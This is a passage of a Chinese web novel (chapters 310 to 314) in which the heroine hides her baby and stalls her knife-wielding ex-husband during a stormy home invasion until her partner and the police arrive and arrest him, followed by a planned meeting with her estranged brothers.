这个臭丫头,都这么久了,怎么还是这么偏执。
这本书都要完结了啊,还是不长记性,还是这么一意孤行。
自己没啥正经本事,非要显得很厉害的样子。
“你听话。”
他的语气放软了一些,“你回家多陪陪安安好吗?”
江晚絮咬了咬下唇,面带委屈。
“把你那点委屈给我收回去!”
顾彦廷严肃地指正她,“我还活着呢!”
“好。”她妥协了,“我回去。”
顾彦廷松了一口气,“等我回来。”
林舟把江晚絮松了回去。
刚到门口,还没进去,就听到了安安的哭声。
“怎么回事?!”
江晚絮神色焦急。
客厅里,保姆抱着安安满屋子转悠,急得满头大汗。
“太太!您可算回来了!”
保姆差点哭出来,“不知道怎么回事,小小姐本来玩得好好的,突然就开始哭,怎么哄都哄不好!奶也不喝,玩具也不要,我这一身汗都急出来了!”
江晚絮接过孩子。
“安安,妈妈在,妈妈回来了。”
安安眨巴着大眼睛,看到是江晚絮,小脸儿立刻就委屈起来。
“麻……麻麻……”
江晚絮的心都要碎了。
“没事了宝贝。”
江晚絮轻轻拍着安安的后背,“妈妈哪儿也不去,妈妈就在这儿陪着你。”
好像自从安安出生后,她确实不怎么称职。
她在客厅里抱着安安走了半个小时。
安安渐渐止住了哭声,抽噎了一会儿趴在江晚絮的肩头睡着了去。
江晚絮把孩子抱回房间,小心翼翼地放在婴儿床上。
安安睡熟后,江晚絮洗了个冷水澡。
她的确需要好好反思一下,冷静一下。
自己这个没脑子的行为,的确要改一改。
刚打开浴室门,手机就响了。
“喂!我的祖宗!你可算接电话了!”
电话那头是苏洛敏。
“怎么样?抓到那个王八蛋了吗?”
“没抓到。”
江晚絮实话实说,“让他跑了。”
“什么?!”
苏洛敏在那头拍桌子,“跑了?这狗男人属泥鳅的吗?”
“那现在怎么办?顾彦廷呢?他去追了吗?”
“嗯,他去**局了
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。”
“一定要抓住他!”
“嗯。”
江晚絮轻声应道,“我知道。”
“知道就好!”苏洛敏松了口气。
两人又聊了一会儿。
天色突然就暗了下来,黑压压的乌云把所有的光都挡住了。
没过多久,一道闪电就划破了天空。
“轰隆——”
紧接着,震耳欲聋的雷声就响了起来。
不到三分钟,豆大的雨点噼里啪啦地砸了下来。
“我去,这鬼天气。”
苏洛敏在那头抱怨,“突然就下这么大。絮絮,你一个人在家怕不怕?要不要我过去陪你?”
“不用了。”
江晚絮看着外面的暴雨,心里突然就涌上一股强烈的不安。
“好吧,那你自己小心点,有事随时给我打电话。”
“好。”
挂断电话,江晚絮握着手机,看向窗外。
心里那种不安,像雨水一样,开始瓢泼。
雨越下越大。
江晚絮快步走回卧室。
安安还在熟睡,小嘴微微嘟着,呼吸均匀。
看到女儿,江晚絮狂跳的心脏才稍微平复了一些。
她打开微信,给顾彦廷发了一条消息。
【怎么样了?有线索了吗?】
消息发出去,却是石沉大海。
十分钟过去了,顾彦廷始终没有回信。
是在忙吗?
还是……出事了?
江晚絮敲了敲脑袋。
怎么又想多了,真是的。
手机震动了一下。
江晚絮赶紧看向屏幕。
【勿念。】
是顾彦廷发来的。
江晚絮把手机扔到一边,烦躁地抓了抓头发。
不能就这样干等着,容易多想。
她去书房拿了本书,躺在床上看了起来。
都说雷暴雨来得快去得也快。
可今天也不知为什么,直到十点雨也没听。
江晚絮也没有任何睡意,她把书放下,揉了揉太阳穴。
“咚、咚、咚。”
敲门声响起。
这么晚了,谁会来?
顾彦廷有指纹密码,林舟如果要来也会先打电话。
还是……
江晚絮屏住呼吸,轻手轻脚地走到卧室门口,侧耳倾听楼下的动静。
“谁呀?”
楼下传来了张姨迷迷糊糊的声音。
“下大雨还到别人家……”
张姨一边嘟囔着一边走向门口。
第310章 复婚吧
江晚絮的心提到了嗓子眼。
“别开门!”
她在心里呐喊。
楼下,张姨已经走到了玄关。
她透过猫眼往外看。
外面漆黑一片,雨很大,什么也看不清。
“谁啊?说话呀!”
张姨隔着门喊了一声。
门外没有人回应。
“奇怪,听错了吗?”
张姨摇摇头,转身准备回房。
“咚、咚、咚!”
又是三声。
比刚才更用力。
“哎哟,真是的,谁这么缺德大半夜吓人!”张姨也没多想,走回去握住了门把手。
“咔哒。”
门锁转动。
大门打开了一条缝。
一阵狂风夹杂着雨水猛地灌了进来,吹得张姨打了个哆嗦。
紧接着——
“啊——!!!”
一声凄厉的尖叫声传来,然后就是重物倒地的沉闷声响。
然后,只剩下雨声。
江晚絮咽了咽口水。
她迅速回身,跑到床头柜按了的紧急报警按钮。
雨下得大,她听不到楼下的动静。
江晚絮一把抱起还在熟睡的安安。
小家伙被惊动了,嘴巴一扁就要哭。
江晚絮眼疾手快,立刻竖起手指“嘘”了一声。
“宝贝,别哭,求求你,别哭。”
安安竟然真的没有哭,只是睁着大眼睛,惊恐地看着妈妈。
江晚絮把安安放进婴儿推车,光着脚把小丫头推去了走廊尽头的小客房。
“安安,听我说。”
江晚絮跪在地上,压低了声音哄道,“和妈妈玩个游戏,**。不管听到什么声音,都不要出声,好不好?”
安安似懂非懂地点点头。
江晚絮亲了亲她的额头,将安安连人带车塞进衣柜里,再轻手轻脚地关上柜门。
做完这一切,她深吸一口气,在抽屉里翻出一把小水果刀,贴在了门后。
“哒。”
“哒。”
“哒。”
楼梯上传来了脚步声。
那声音很沉,很慢。
江晚絮屏住呼吸,手心里全是汗水。
脚步声上了二楼就停住了。
江晚絮靠在客房的门板后,心脏快从喉咙里蹦出来。
哒、哒、哒。
脚步声再次响起。
江晚絮的大脑有一瞬间的空白,但她还是强迫自己快速冷静下来。
不能慌。
安安还在柜子里,她要是慌了,安安就死定了。
她下意识地把手伸进睡衣的口袋里。
空的。
她愣了一下,又摸了摸另一边。
还是空的。
手机……
她的手机,落在主卧的床头柜上了!
“该死!”
江晚絮在心里狠狠骂了自己一句。
在这种生死关头,犯这种低级错误,简直……蠢透了。
怎么办?
叶寒就在走廊里,现在出去就是送死。
她回过身,把目光落在了床头柜上。
这栋别墅是老宅子翻新的,虽然很少用,但每个房间都保留了内部通话和外线的座机。
江晚絮轻手轻脚地走过去,提起话筒播了顾彦廷的电话。
听筒里传来了等待接通的声音。
江晚絮捂住听筒,在心里祈祷顾彦廷快点接电话。
顾彦廷,求求你,快接啊。
“喂。”
电话接通了。
顾彦廷的声音从听筒里传出。
那一瞬间,江晚絮的眼泪不受控制地掉了下来。
她张了张嘴,想要告诉他自己很害怕。
可是,门外的脚步声还在。
她只能拼命捂着听筒,不让自己发出声音。
电话那头,顾彦廷似乎察觉到了不对劲。
“晚晚?”
“是你吗?”
“说话。”
江晚絮依然沉默。
只有急促而压抑的呼吸声,传到了顾彦廷的耳朵里。
顾彦廷和江晚絮在一起这两年多,已经锻炼出了一种能力——对危险的感知能力。
电话接通了却不说话,只有呼吸声。
这只能说明一个问题——她现在不能说话!
“我在回来的路上了。”
顾彦廷压低了声音问道,“是不是叶寒?”
江晚絮轻轻敲了一下听筒。
“咚。”
江晚絮轻轻叩了叩话筒。
“别怕。”
顾彦廷语速极快,“把门锁好,躲起来,别挂电话。”
“给我十分钟……不,五分钟!”
“晚晚,等我!”
江晚絮听着电话另一头传来的引擎声,心里的绝望感,终于被冲淡了一些。
他在赶来的路上了。
再坚持一会儿!
“砰!”
门外传来一声巨响。
江晚絮吓得浑身一哆嗦,手里的听筒差点掉在地上。
声音是从主卧那边传来的。
叶寒正在踹门!<
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br>“妈的!开门!江晚絮你个**,给我开门!”
叶寒那歇斯底里地吼了起来。
江晚絮缩在床脚,紧紧握着那把水果刀,无声地哭泣着。
这或许是她生命中最漫长的五分钟。
主卧的门虽然结实,但也经不住一个成年男人的猛踹。
“咔嚓——”
一声脆响。
主卧的门锁被踹烂了。
紧接着是一阵翻箱倒柜的声音。
“人呢?!躲哪儿去了?!”
江晚絮听得出来,他在砸东西。
“那个野男人送你的东西倒是不少啊!”
叶寒似乎看到了桌上护肤品和首饰,“呵,虚伪的女人!”
“啪!”
又是一声脆响。
不知道什么东西被砸碎了。
江晚絮闭上眼睛,身体止不住地颤抖。
“江晚絮,你给我出来!”
叶寒没有在主卧找到人,重新回到了走廊上。
“你想等顾彦廷?哈哈哈!别做梦了!”
叶寒一边喊,一边用手里的刀划着墙壁。
脚步声开始越来越近。
最后,在小客房门外停了下来。
江晚絮屏住了呼吸。
她把听筒轻轻放在地毯上,双手握住那把水果刀,刀尖对着门口。
“叩、叩、叩。”
叶寒竟然敲了门。
“晚晚,你在里面吗?”
他的声音突然变得温柔起来。
“开门啊,老公来接你了。”
“我们回家好不好?”
“咱们复婚吧好不好?去个没人找得到的地方,重新开始,好不好?”
江晚絮胃里一阵翻江倒海。
叶寒等了一会儿,见里面没有动静,语气瞬间变了。
“江晚絮,你别给脸不要脸!”
“老子为了你,现在已经成了通缉犯!你还想躲着我?!”
“我数三声!”
“三!”
江晚絮看了一眼窗户。
如果是她一个人,她绝对会毫不犹豫地跳下去。
摔断腿也比落在叶寒手里强。
可是安安还太小了,这一跳,她不敢保证安安会不会受伤。
而且……她抱着安安能躲开叶寒吗?
她没这个信心。
“二!”
门把手开始转动。
但这间客房是从里面反锁的,叶寒拧不动。
叶寒冷笑一声,“你以为这破门能拦得住我?”
“一!”
第311章 是我变了吗?
“砰!”
叶寒开始踹门。
门框震动了一下。
江晚絮的心脏也跟着狠狠颤了一下。
她回头看了一眼衣柜。
安安很乖。
“宝贝,别怕,妈妈在。”
江晚絮在心里默念着,缓缓从地上站了起来。
她不能躲在角落里。
她要站在显眼的地方,吸引叶寒的注意力。
“砰!”
第二脚。
门锁发出不堪重负的吱呀声,已经有些变形了。
江晚絮退到了窗边。
既然躲不过。
那就来吧!
“砰——轰!”
第三脚。
房门连着门框一起被踹开。
叶寒浑身湿透的出现在门口。
雨水顺着发梢往下滴,他手里提着一把明晃晃的长刀,另一只手拖着一个巨大的黑色行李箱。
看到站在窗边的江晚絮,叶寒裂开嘴,露出了一个令人毛骨悚然的笑容。
“找到你了,老婆。”
房间里没开灯,只有走廊昏黄的灯光透进来。
叶寒的身影,将江晚絮完全笼罩。
“别过来!”
江晚絮厉声喝道,双手紧紧握着水果刀,对准了叶寒,“你再过来我就不客气了!”
叶寒像是完全没听到她说的话一样。
他把行李箱放在门口,然后抬起手里的长刀,在袖子上擦了擦。
“不客气?”
叶寒一步步走进来,“怎么个不客气法?拿那个削苹果的小刀捅我?”
“晚晚,咱们夫妻五年,你舍得吗?”
他眼神轻蔑,根本没把江晚絮的威胁放在眼里。
“我们已经离婚了!”
江晚絮盯着他,用余光瞥了瞥窗外,“叶寒,你现在是私闯民宅,还持刀行凶,罪加一等!顾彦廷马上就回来了,他已经报警了,你现在走还来得及!”
听到“顾彦廷”的名字,叶寒的脸瞬间扭曲。
“闭嘴!”
他猛地挥了一下手里的刀,刀尖划破空气,发出“呼”的一声。
“别跟我提那个名字!”
“如果不是他,我会落到今天这个地步吗?如果不是他仗势欺人,我怎么会变成这个样子?!”
叶寒双眼赤红,吼道,“明明是你背叛了我!你们这对狗男女,合起伙来整我!”
“我没有!”
江晚絮反驳道,“是你出轨在先!是你为了江芊妤,一次次伤害我!叶寒,做人要有良心!”
“良心?”
叶寒仰天大笑起来。
“良心值几个钱?江晚絮,你别装得那么清高!当初你要不是看上我有钱,你会嫁给我?现在顾彦廷更有钱,你就贴上去了?”
叶寒上前一步,眼神阴毒,“跟我走!”
“你做梦!”
江晚絮退无可退,后背已经抵在了冰冷的玻璃窗上。
“叶寒,你就算杀了我,我也不会跟你走的!”
“杀你?”
叶寒嘲弄地笑了笑,“我怎么舍得杀你呢,老婆。我还要跟你好好生活呢,你忘了?”
“不过……”
他的目光突然在房间里扫视了一圈。
“我记得,你女儿有一岁了吧?”
他说完,露出一个浅浅的微笑。
直笑的江晚絮后脊发凉。
“叶寒。”
她强迫自己站直了身体,“你别乱来。”
“呵。”
叶寒冷笑一声,“都是因为你,我才变成了这样啊。”
他一边说,一边往前逼近。
江晚絮靠在窗边,咽了咽口水。
她的余光,不受控制地瞥向另一边的窗户。
顾彦廷……你在哪里?
“你在看什么?”
叶寒突然停下脚步,顺着他的目光看向窗外。
江晚絮心头一跳,赶紧收回视线,“我没看什么。”
“你在等顾彦廷对不对?”
他再次上前一步,长刀直接抵在了江晚絮的鼻尖前一寸。
“江晚絮,你真以为到了这种时候,他还会冒着生命危险救你吗?”
叶寒凑近她,烟草和酒精味瞬间钻进了江晚絮的鼻腔,“别做梦了!世界上根本就没有人会为了你愿意放弃自己的生命!”
“他会。”
江晚絮坚定无比,“他跟你不一样。”
“闭嘴!”
叶寒暴怒,抬手就要去抓江晚絮的头发,“老子现在就弄死你,再去把那个小孽种摔死,我要让他痛不欲生!哈哈哈哈哈!”
就在他的手即将碰触到她头发
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的那一瞬——
江晚絮不知道哪里来的勇气,侧身躲开了叶寒的手,然后大吼一声。
“叶寒!!”
叶寒被这一嗓子吼得愣了一下,动作僵在半空,“你发什么疯?”
江晚絮大口喘着气,迅速在脑海里想着拖延应对的办法。
现在的叶寒是没有理智可言的,如果一味地刺激他,很可能会产生无法控制的结果。
想到这里,她闭了闭眼,做了个深呼吸。
再睁眼时,她的眼睛就蒙上了一层雾气。
“你就这么恨我吗?”
她的声音温柔又委屈,“叶寒,我们一定要变成现在这个样子吗?”
叶寒皱起眉头,显然没反应过来,“少跟我来这套!”
江晚絮凄然一笑,手中的水果刀直接丢在了地上,“七年前,我在实验室加班,那天下了暴雨,公司直接停电了,我当时很害怕……”
叶寒的眼神闪烁了一下。
“是你。”
江晚絮往前走了一小步,“是你买了奶茶跑来陪我,衣服都湿透了。”
“你说,只要有你在,这辈子都不会让我再感到害怕。”
“你说,你会为我遮风挡雨……”
江晚絮的眼泪开始不受控制地掉落,“叶寒,那个时候的你,去哪儿了?”
叶寒的手微微颤抖了一下。
那段记忆,太久远了。
那时候他和她刚结婚,他也真真实实地爱着她。
“别跟我提以前!”
叶寒有些烦躁地甩了甩头,但语气明显没有刚才那么凶狠了,“是你跟我提的离婚,是你先背叛我的!是你变了!”
有些人就是这样。
脚踏两条船还觉得自己很深情。
江晚絮在心里狠狠掐了自己一把。
快想想,想想江芊妤平时是怎么说话的。
她吸了吸鼻子,微微垂下头,衬着外头的大雨,显得既柔弱又无助。
“是我变了吗?”
“宝宝……”
这一声久违的称呼,让叶寒的眼前一阵恍惚。
江晚絮声音里带上了一丝哀怨,“我们结婚那天晚上,你去哪儿了?”
“为了给你妈治病,我把外婆留给我的手镯卖了,那个时候,你又在干什么?”
第312章 我来了
和江晚絮结婚的那天晚上,叶寒去哪儿了?
自然是跟江芊妤在一起。
那天晚上,江芊妤给他打电话,哭着祝福他新婚快乐。
他心疼坏了,二话不说直接丢下江晚絮就跑去了江家。
而**嵩看到他的时候,竟然一点都没有责怪他。
甚至还跟他说好好安慰江芊妤。
“我从来没有想过背叛你。”
江晚絮往前走了一步,眼泪汪汪地继续控诉,“我当初嫁给你的时候,叶家都快破产了。家里所有的东西都被贴上了银行的标签。可是那时候我很开心,因为我觉得我有你就够了。”
“可是后来呢?”
“后来你成了叶总,就开始嫌弃我不够温柔,嫌弃我不懂事,嫌弃我整天搞研究一点情趣都没有。”
“叶寒,你说,到底是谁变了?”
叶寒的神情有些恍惚。
他仿佛看到了当年那个满眼都是他的女孩。
那时候的江晚絮,是全校的女神。
清冷,高贵,才华横溢。
却唯独对他死心塌地。
“我……”
叶寒张了张嘴,声音有些干涩,“我其实没想过要害你,可是你……”
“我听话啊。”
江晚絮打断他,声音更软了,甚至带上了一丝乞求,“叶寒,我们不要再互相伤害了好不好?我很累,真的好累……”
她一边说着,一边悄悄观察着叶寒的表情。
他似乎有些动摇,眼神也开始飘忽。
但他手里的刀依然紧握着。
江晚絮深吸一口气,想起了江芊妤那句经典的“姐姐不是故意的”。
“呜呜呜……”
江晚絮突然捂着脸,嘤嘤哭了起来。
断断续续的,听得人莫名揪心。
“其实……其实我一直都没忘掉你。”
江晚絮透过指缝,看着叶寒,“顾彦廷他是对我很好,可是……可是他太强势了,我总是会想起以前你给我煮面的样子。”
“真的吗?”
叶寒的眼中闪过一丝狂喜。
男人的劣根性就在于此。
哪怕他已经把这个女人伤得体无完肤,哪怕他已经放弃了。
但只要知道这个女人心里还有他,甚至拿他和别人作比较而且是赢的那个,他的虚荣心就会得到极大的满足。
“真的。”
江晚絮放下手,红着眼眶点头,“不然我为什么会把‘1号’的研究专利转给你?”
听到“1号”的研究专利,叶寒恍惚了一下。
那是江晚絮耗费了整整三年心血的研究。
也是叶氏集团能在短短一年内摆脱破产风波,重回巅峰的底气。
“你……是为了我?”
叶寒的声音有些发飘。
“不然呢?”
江晚絮咬着下唇,十分委屈,“叶寒,如果不是因为爱你,我怎么会把它白白送给你?”
“可是你呢?”
“你拿了我的成果,转身就送给了江芊妤,说是她研发的。”
“你知道那天看到新闻发布会的时候,我有多心痛吗?”
江晚絮捂着胸口,身子摇摇欲坠,仿佛随时都会晕倒。
叶寒彻底陷入了回忆和自我怀疑中。
当初……确实是他太过分了。
他为了讨好江芊妤,为了打压江晚絮的傲气,不仅抢了她的成果,还让人在网上买水军黑她抄袭。
他觉得母亲说得很对。
像江晚絮这样的优秀女博士,如果他太平庸,势必会被她压制。
所以他必须掌控她,让她只能依靠他生存。
他也不知道自己当初是因为喜欢她,还是因为她的专利才娶她。
可面对江晚絮迟来的“告白”,叶寒突然就萌生出了一丝愧疚情绪。
“晚晚……”
叶寒手中的刀垂了下去,“对不起,我当时……”
“都是江芊妤,是她勾引我!是她挑拨我们的!”
他开始习惯性地甩锅。
江晚絮心里冷笑连连,脸上却是一副深受感动的样子。
“我知道,我就知道你不是故意的。”
她一边说着,一边不动声色地侧身往门口的方向挪了挪。
眼角的余光再次扫向窗外。
快点啊,顾彦廷!
我快演不
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下去了!
“那……我们重新开始好不好?”
叶寒急切地看着江晚絮,“你也知道我现在的处境,我现在只有你了。你去跟顾彦廷求求情,或者……或者你把顾彦廷公司的机密拿出来给我,我们大赚一笔后就远走高飞!”
江晚絮的胃里一阵翻江倒海。
偷机密?
这才是他的真实目的吧?
哪怕到了这种时候,他想的依然是如何利用她。
江晚絮强忍着恶心,继续同他周旋,“好,好啊。可是……可是你被通缉了,我们要怎么走?”
“你配合我就行!”
叶寒兴奋起来,“你当人质,顾彦廷肯定不敢乱来。只要离开京市,我们就安全了!”
他走向江晚絮,试图去牵她的手。
江晚絮下意识地往旁边躲了一下。
叶寒的手抓了个空。
他愣了一下,看向江晚絮。
可此时的江晚絮,眼里哪有一丝半点的爱意?
只有恐惧和厌恶。
“你在看什么?”
叶寒的声音瞬间冰冷。
他转头看了一眼墙上的挂钟。
从他踹门进来到现在,已经过去了整整十分钟。
“你在拖延时间?!”
叶寒回过头,脸上的愧疚和深情瞬间烟消云散。
“江晚絮,你个**!你敢耍我?!”
“我没有……”
江晚絮脸色惨白,下意识地想要辩解。
“**吧!!”
叶寒哪里还肯听她再说?
他直接举起手中的长刀,对着江晚絮就要刺过来。
江晚絮本能地闭上眼睛尖叫起来。
“啊——!!!”
电光火石间,一个高大的身影出现在门口。
紧跟着就是叶寒的惨叫声和重物落地的闷响。
江晚絮很害怕,浑身颤抖着睁开了眼睛。
只见叶寒已经摊倒在床对面,龇牙咧嘴地想要爬起来,而顾彦廷则一脸杀气地站在门口。
“顾……顾彦廷……”
她颤抖着喊他的名字。
顾彦廷走向她,眼神温柔。
“我来了。”
第313章 正事要紧
叶寒痛得整张脸都扭曲了。
顾彦廷的那一脚,正好踹在他的胸口。
他感觉自己的肋骨都要断了。
他挣扎着想要爬起来,去够那把掉在地上的刀。
“别动!”
程宇举着枪对准了他。
叶寒抬起头,这才发现门口不知何时多了一个人。
程宇厉声警告,“叶寒,你涉嫌故意伤人、非法入侵、商业**,现在我要逮捕你!”
这套说辞他在电视上看过很多遍,也吐槽过无数次。
没想到真的念出来,还挺爽的。
他强压下内心的兴奋,咳了一声严肃道,“把手背过去!趴在地上!”
叶寒不甘心,刚要站起来,程宇立刻上前一脚踢飞了那把刀,举着枪再次警告,“我劝你老实点!”
“晚晚!”
苏洛敏从他身后窜出来,冲过去抱住几乎瘫软的江晚絮。
“你没事吧?呜呜呜……吓死我了!”
江晚絮被苏洛敏抱着,露出一个浅浅的笑,拍了拍她的后背让她安心。
而顾彦廷,确认江晚絮没有大碍后,就回过头看向叶寒。
他双手插兜,就那么冷冷地看着。
“顾……顾彦廷……”
叶寒看着眼前这个男人,眼底闪过一丝恐惧,但更多的还是不甘和嫉妒,“你……你竟然真的来了……”
“我来了。”
顾彦廷往前两步,走到叶寒面前。
“顾总,把他交给我们就行了。”
程宇看出顾彦廷的状态不对,怕他冲动之下动手,连忙出声提醒。
“程警官。”
顾彦廷停下脚步,侧过头,神情冷漠,“你也看到了,他手里有刀,刚才还企图伤害我的家人。”
“作为受害者的家属,我如果情绪激动正当防卫也是无可厚非吧?”
话音刚落,顾彦廷突然抬起脚狠狠地踩向了叶寒的右手。
“啊——!!!”
一声凄厉惨绝的哀嚎响彻夜空。
叶寒疼得眼珠子都快瞪出来了。
顾彦廷面无表情地将脚用力扭了扭。
“啊!我的手!我的手断了!**了,顾彦廷**了!”
叶寒看向程宇,“警察!警察救命啊!他要杀了我!”
程宇背过身到门口,看着门锁陷入沉思,“这个锁头,质量不太好啊。”
“你……”叶寒气结。
顾彦廷蹲下身,一把揪住叶寒的衣领,将他拽到自己面前。
“你该庆幸,现在是法治社会。”
顾彦廷的声音压得很低,“否则,我会把你身上的骨头,一根一根拆下来,再剁碎了拿去喂狗。”
说完他就一脸嫌恶地松开了双手。
程宇非常及时地看过来,对身后招呼,“带走吧。”
顾彦廷站起身,用手帕擦了擦手指。
几个全副武装的特警冲进来,迅速将叶寒按住,戴上**。
“顾彦廷!你不得好死!江晚絮就是个破鞋,我玩剩下的你也要!哈哈哈……”
叶寒被拖出去的时候,还在疯狂地叫嚣着。
程宇实在听不下去了,顺手从旁边抄起一块抹布,直接塞进了叶寒嘴里。
“呜呜呜……”
世界终于清静了。
顾彦廷转过身,凌厉的杀气,在江晚絮面前瞬间消融。
苏洛敏轻咳了一声,很有眼力见地松开了手,“那个……那个我去看看安安醒没醒。”
说完,她把安安从衣柜里抱了出来,拉着程宇就退出了房间。
江晚絮已经被苏洛敏扶坐在床上。
此时的她头发凌乱,衣服也全是褶皱。
“晚晚。”
顾彦廷的声音有些沙哑,“对不起,我来晚了。”
江晚絮抬头看着他。
她想说自己没事,可一开口,眼泪就涌了出来。
“我……顾彦廷,我刚才真的以为我要**……”
她哽咽着说完这话,便扑进他怀里,双手紧紧揪着他的衣服,整个人都在不受控制地发抖。
“不会的。”
顾彦廷抱着她,安慰道,“没事了晚晚,我在呢。”
江晚絮把脸埋进他胸口,终于放声大哭起来。
哭她这些年的委屈。
哭她在生死边缘时的恐惧。
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顾彦廷任由她哭着,轻轻拍着她的后背,哄孩子一样轻声哄着。
良久,江晚絮的哭声渐渐小了。
“顾彦廷。”
她带着浓重的鼻音叫了他一声。
“嗯?”顾彦廷低头看她。
“你刚才……踹那一脚,真帅。”
江晚絮吸了吸鼻子,破涕为笑。
顾彦廷愣了一下,随即露出一抹无奈又宠溺的笑。
“只要你喜欢,以后你想踹谁,我都替你踹。”
“那……我想踹喜欢你的女人呢?”
江晚絮眨了眨眼睛。
“不会的。”
顾彦廷轻笑一声。
江晚絮立马板起脸,“什么意思?你觉得我不够勇敢吗?”
“小傻子,”顾彦廷难得揶揄她,“我不会让其他女人喜欢我的。如果有不要命的凑过来,随你怎么动手。”
江晚絮的表情多云转晴。
“不过……”
顾彦廷话锋一转,把江晚絮打横抱了起来。
“啊!你干嘛?”江晚絮惊呼一声,下意识地勾住了他的脖子。
“这里有点臭。”
他抱着她往外走,语气霸道,“回主卧,洗澡,睡觉。”
“可是警察那边……”
“没事。”
“啊?”
“嗯。”顾彦廷低头,在她额头上轻轻啜了一下,“程宇不就是目击人吗?我们明早再去也一样。还是正事要紧。”
江晚絮红着脸轻轻锤了锤他。
回到卧室后,苏洛敏把安安交给江晚絮,就红着脸跑了。
安安窝在江晚絮怀里,看了看妈妈又看了看爸爸,突然裂开嘴笑了。
顾彦廷也不怎么的,就有种不好的预感。
果然,安安一直缠着江晚絮,压根就不给顾彦廷留机会。
无奈的顾彦廷只好招呼人连夜来修卧室的房门。
折腾到凌晨一点多,安安才睡着。
江晚絮也因为精神放松睡着了。
顾彦廷看着母女俩熟睡的模样,叹了口气,抱着被子去了客房。
孩子大了,开始长心眼了,怎么破?
在线等,挺急的。
第314章 来了
这一夜,有人睡得安稳,有人却注定要失眠。
第二天一早,顾彦廷顶着两个硕大的黑眼圈出现在了客厅。
他昨晚不仅没睡好,甚至可以说是根本没睡。
“你这是……”江晚絮抱着安安出来,被他这副模样吓了一跳,“昨晚去做贼了?”
顾彦廷扯了扯领带,眼神幽怨地看了安安一眼,什么都没说。
安安咯咯直笑,伸手要抱抱。
顾彦廷立刻眉开眼笑,“走,爸爸带你去吃早饭。”
一家三口其乐融融,而警局那边,程宇却快要气炸了。
“叶寒,我再问你一遍,除了你,还有谁参与了这次**?”
程宇拍着桌子大声质问,“是不是梁霁川?”
叶寒坐在桌子对面,嘴角挂笑,什么都没说。
“你大爷的!”程宇爆了句粗口,“**行凶,**儿童,你以为你不说话就能脱罪吗?!”
叶寒终于开口,说的却与案子毫不相干。
“江晚絮是我老婆,我带我老婆孩子回家,犯法吗?”
“你们已经离婚了!”
叶寒靠在椅背上,没再回应。
程宇气得想拔枪。
“行,你嘴硬。”程宇冷笑一声,合上笔录本,“我看你能硬到什么时候。带下去!”
叶寒刚走出审讯室的门,就看到三米远站着两个人。
顾彦廷和江晚絮。
他们吃了早饭就赶来警局做笔录了。
冤家路窄。
两个男人,在狭窄的走廊里,再次对视。
一个高高在上,西装革履,幸福美满。
一个狼狈不堪,戴着**,前路未知。
“江晚絮。”
经过她身边时,叶寒突然停下脚步,压低了声音,像一条吐着信子的毒蛇。
“你以为这就结束了吗?”
江晚絮的脚步微微一顿。
叶寒以为她怕了,嘴角勾起一抹残忍的弧度,“我告诉你,这事儿没完!等我出去,我一定会让你付出代价!还有那个小野种……我会亲手把她……”
“砰!”
顾彦廷面无表情地抬腿,一脚踹在叶寒的膝窝上。
“啊——!”
叶寒猝不及防,双膝一软,直接跪在了江晚絮面前。
旁边的警员也是个机灵的,立刻按住想要反击的叶寒,“老实点!走!”
叶寒挣扎着回过头,面容扭曲,“江晚絮!你会遭报应的!你不得好死!”
走廊里回荡着他的咆哮声。
江晚絮站在原地,斜睨着叶寒。
“报应?”
她轻笑了一声,“叶寒,遇上你,才是我这辈子最大的报应。你还是赶紧下地狱去吧。”
说完这句话,她再不看他,挽着顾彦廷的手臂往前走去。
顾彦廷侧过头,心疼地揉了揉她的发顶。
“怎么?心软了?”
“没有。”江晚絮摇摇头,“只是觉得,以前的自己,就是个笑话。”
为了那样一个**,赔上了整个青春。
“不可笑。”
顾彦廷停下脚步,认真地看着她,“那是你善良。错的是辜负你的人,不是你。”
还有作者那个胸无点墨的穷鬼,虐女主虐个没完没了的。
他低头吻了江晚絮的脸颊。
程宇在一旁看得牙酸,忍不住翻了个白眼。
“喂喂喂,这里是警局,能不能注意点影响?”
江晚絮脸一红,赶紧推开顾彦廷,快步走进了笔录室。
顾彦廷看着她的背影,眼底的寒意瞬间消散,只剩下一片柔情。
两天后。
京市的天气依旧阴沉沉的,像是憋着一场大雨。
江明泽推着轮椅,站在墓园的一块石碑前。
轮椅上坐着的,是刚从欧洲回来的江明哲。
曾经意气风发的江家三少,如今双腿虽然经过晨曦家族顶尖医疗团队的治疗,勉强有了知觉,但也只是个摆设,根本无法行走。
“大哥。”江明哲看着墓碑,有些恍惚,“我们……是不是真的做错了?”
江明泽苦笑一声,蹲下身,伸手抚摸着墓碑,“错得离谱。我们把鱼目当珍珠,把至亲当仇人。现在这一切,都是报应。”
“我想见见她。”
江明哲抬起头,眼里满是乞求,“大哥,我很久没有见她了。”
江明泽沉默了许久,才掏出手机。
“好。”
……
半山别墅。
江晚絮正趴在地毯上,陪安安搭积木。
阳光透过落地窗洒进来,照在母女俩身上,温馨得像一幅画。
手机突然震
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动了一下。
江晚絮拿起来看了一眼,是一个陌生的号码。
【晚晚,我是大哥。明哲回来了,我们……想见见你。就在老街那家‘聚缘饭馆’,如果你不想来也没关系……】
江晚絮的手指僵了一下。
大哥……她有一年没见他了吧?
“怎么了?”
顾彦廷端着果盘走过来,看到她发呆便顺势在她身边坐下,瞥了一眼手机屏幕。
脸色顿时沉了下来。
“我想去。”
江晚絮突然开口,声音很轻。
顾彦廷想了想,问她,“为什么?”
江晚絮抬起头,眼神清澈,“顾彦廷,叶家没了,江家也没了。姐姐在意大利,我身边……他们确实是我为数不多的亲人。”
顾彦廷看着她坚定的眼神,无奈地叹了口气。
“好。”
他把手机塞回她手里,恶狠狠地叉了一块苹果塞进嘴里,“我陪你去。要是他们不说人话,我就把饭馆拆了!”
江晚絮忍不住笑了,“那是人家正经做生意的地方,你拆人家饭馆干嘛?”
“我乐意!”
顾彦廷傲娇地哼了一声,又叉了一块苹果递到她嘴边,“张嘴。”
江晚絮乖乖张嘴吃下。
真甜。
隔天中午,聚缘饭馆。
这是一家小馆子,门面不大,但胜在干净卫生,价格也实惠。
江明泽和江明哲早早就到了。
两人特意选了一个靠窗的位置,可以看到外面的街道。
“大哥,你说……晚晚会来吗?”
“不知道。”
江明泽捏着茶杯,“如果她不来,也是正常的。毕竟我们曾经……”
话音未落,门口突然传来一阵风铃声。
两人同时抬头看了过去。
门口,顾彦廷侧身推开玻璃门,江晚絮抱着安安走了进来。
江晚絮穿着一件简单的米色风衣,长发随意地挽在脑后,脸上未施粉黛,却美得让人移不开眼。
那是从骨子里透出来的自信和从容。
“晚……晚晚。”
江明泽慌乱地站起身,因为太急,膝盖还撞到了桌腿,疼得他下意识“嘶”了一声。
